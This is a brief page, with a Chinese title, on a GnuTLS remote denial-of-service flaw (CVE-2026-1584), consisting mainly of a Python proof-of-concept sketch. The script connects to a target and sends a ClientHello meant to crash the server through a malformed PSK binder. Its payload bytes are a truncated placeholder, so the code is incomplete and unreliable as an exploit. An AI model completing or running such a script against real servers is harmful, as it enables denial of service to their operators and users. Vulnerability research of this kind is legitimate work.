CVE-2026-1584 GnuTLS远程拒绝服务漏洞

# PoC Concept for CVE-2026-1584 # This script attempts to trigger the NULL pointer dereference in GnuTLS # by sending a ClientHello with an invalid PSK binder. import socket import struct def send_malicious_tls_packet(host, port): # Simplified TLS record layer header content_type = 0x16 # Handshake version = 0x0303 # TLS 1.2 # Construct a minimal ClientHello with invalid PSK binder # Note: Actual exploitation requires precise byte crafting of the TLS structure. # This example demonstrates the connection logic. # Placeholder for malformed ClientHello bytes # In a real exploit, the PSK binder extension would be malformed. client_hello = b"\x01\x00\x00\xfc\x03\x03\x00\x01\x02\x03\x04\x05..." try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) s.send(client_hello) print(f"[+] Malicious packet sent to {host}:{port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <port> pass